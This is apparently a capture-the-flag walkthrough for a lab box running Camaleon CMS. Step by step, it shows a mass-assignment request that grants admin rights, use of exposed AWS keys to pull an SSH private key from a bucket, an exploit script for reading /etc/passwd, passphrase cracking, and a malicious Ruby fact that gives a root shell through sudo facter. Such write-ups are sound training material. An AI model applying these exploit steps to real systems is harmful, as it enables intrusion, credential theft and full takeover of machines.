Overview

Facts is an easy Linux box centred around a Camaleon CMS installation. The attack chain involves self-registering an admin account, exploiting a mass assignment vulnerability to escalate privileges within the CMS, harvesting exposed AWS credentials to pull an SSH private key from an S3 bucket, using a file read CVE to identify the target user, cracking the key passphrase, and finally abusing a sudoers entry for facter to load a malicious Ruby fact and get root.


Reconnaissance

Full port scan to start:

nmap -sS -Pn -sV -sC -O 10.129.5.127
22/tcp  open  ssh   OpenSSH 9.9p1 Ubuntu 3ubuntu3.2
80/tcp  open  http  nginx 1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/

Only two ports. OpenSSH 9.9p1 is recent and nginx 1.26.3 is patched against known CVEs, so these services aren’t our entry point. Let’s look at the web app.

The site tries to redirect to http://facts.htb, so we add it to our hosts file:

sudo nano /etc/hosts
# Add: 10.129.5.127    facts.htb

Navigating to http://facts.htb reveals a trivia facts website with various posts and a search bar. Testing for basic injection and XSS in the search bar comes up empty.


Admin Panel Discovery

A quick stab at http://facts.htb/admin lands us on an admin login form. Inspecting the page source reveals two interesting URLs:

http://facts.htb/admin/forgot
http://facts.htb/admin/register

Navigating to /admin/register presents an open registration form — no invite code, no approval required. We create an account and log straight in.

The dashboard is sparse since it’s a new account, but it reveals one critical piece of information: Camaleon CMS version 2.9.0.


Privilege Escalation — CVE-2025-2304 Mass Assignment

Camaleon CMS 2.9.0 is vulnerable to CVE-2025-2304, a privilege escalation via mass assignment. The password change endpoint doesn’t restrict which user attributes can be updated, so we can inject a role parameter alongside the password change request to promote ourselves to administrator.

Step 1 — Navigate to your profile and initiate a password change.

In the admin panel, go to your profile and click “Change Password”. Before submitting, turn on Burp Suite intercept.

Step 2 — Capture the POST request.

With intercept on, click “Process”. Burp captures the request:

POST /admin/users/5/updated_ajax HTTP/1.1
Host: facts.htb
Content-Type: application/x-www-form-urlencoded

_method=patch&authenticity_token=<token>&password%5Bpassword%5D=password1&password%5Bpassword_confirmation%5D=password1

Step 3 — Inject the role parameter.

Append &password%5Brole%5D=admin to the end of the body (URL-decoded: &password[role]=admin):

_method=patch&authenticity_token=<token>&password%5Bpassword%5D=password1&password%5Bpassword_confirmation%5D=password1&password%5Brole%5D=admin

Forward the request and turn off intercept. Refresh the admin panel — role has changed from Client to Administrator.


AWS Credential Harvesting

With full admin access, the Settings panel opens up. Under Settings -> General Site -> Filesystem Settings, we find exposed AWS credentials:

AWS S3 Access Key: AKIA13F0DF3796DD994F
AWS S3 Secret Key: I8drDL9cfNDD/Sc9g7Ltwh2elLnMCIvLQX1rkw51
AWS S3 Bucket:     randomfacts
AWS S3 Region:     us-east-1
AWS S3 Endpoint:   http://localhost:54321

Note: AWS credentials rotate with each instance reset, so yours will differ.

Configure the AWS CLI with these credentials:

aws configure --profile facts
# Access Key: AKIA13F0DF3796DD994F
# Secret Key: I8drDL9cfNDD/Sc9g7Ltwh2elLnMCIvLQX1rkw51
# Region: us-east-1
# Output format: (Enter)

List all available buckets via the local endpoint:

aws s3 ls --endpoint-url http://facts.htb:54321 --profile facts
2025-09-11 07:06:52 internal
2025-09-11 07:06:52 randomfacts

Two buckets. The internal one is interesting. Let’s peek inside:

aws s3 ls s3://internal --endpoint-url http://facts.htb:54321 --profile facts --recursive

An SSH private key sitting in .ssh/id_ed25519. Let’s pull it:

aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321 --profile facts

We have the key but no idea who it belongs to.


User Enumeration — CVE-2024-46987 Arbitrary File Read

This version of Camaleon CMS is also vulnerable to CVE-2024-46987, an authenticated arbitrary file read. We can use this to read /etc/passwd and identify local users.

git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
python3 CVE-2024-46987.py -u http://facts.htb -l superadmin -p password1 -v /etc/passwd

Two interesting users revealed: william and trivia.


SSH Access — Cracking the Key Passphrase

The private key is passphrase protected. Time to crack it.

Step 1 — Convert the key for John the Ripper:

ssh2john id_ed25519 > id_ed25519.hash

Step 2 — Crack against rockyou:

john id_ed25519.hash --wordlist=/usr/share/wordlists/rockyou.txt
john id_ed25519.hash --show

Passphrase cracks to: dragonballz

Step 3 — SSH in as trivia:

chmod 600 id_ed25519
ssh -i id_ed25519 trivia@facts.htb
# Passphrase: dragonballz

We’re in. Grab the user flag from ~/user.txt.


Privilege Escalation — facter Custom Ruby Payload

Basic enumeration first:

id && whoami
hostname
uname -a
sudo -l

The sudo -l output is immediately interesting:

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

facter is a system profiling tool from the Puppet ecosystem that gathers system facts — OS details, hardware info, network config, and so on. Running sudo facter --help reveals a useful flag:

[--custom-dir]  A directory to use for custom facts.

We can point facter at a directory containing our own Ruby code, which it will execute as root. Let’s craft the payload:

cat << 'EOF' > /tmp/pwn.rb
Facter.add("pwn") do
  setcode do
    exec("/bin/bash")
  end
end
EOF
sudo /usr/bin/facter --custom-dir /tmp

Root shell. Grab the flag from /root/flag.txt.


Attack Chain Summary

Step Detail
Recon nmap → port 80, nginx, Camaleon CMS 2.9.0
Initial access Open /admin/register → self-register account
Privilege escalation (CMS) CVE-2025-2304 mass assignment → inject password[role]=admin
Credential harvest Settings panel → AWS S3 credentials exposed
Key extraction aws s3 cpinternal/.ssh/id_ed25519
User enumeration CVE-2024-46987 file read → /etc/passwdtrivia
Passphrase crack ssh2john + john + rockyou → dragonballz
User flag ssh -i id_ed25519 trivia@facts.htb~/user.txt
Root sudo facter --custom-dir /tmp with malicious Ruby fact → root shell
Root flag /root/flag.txt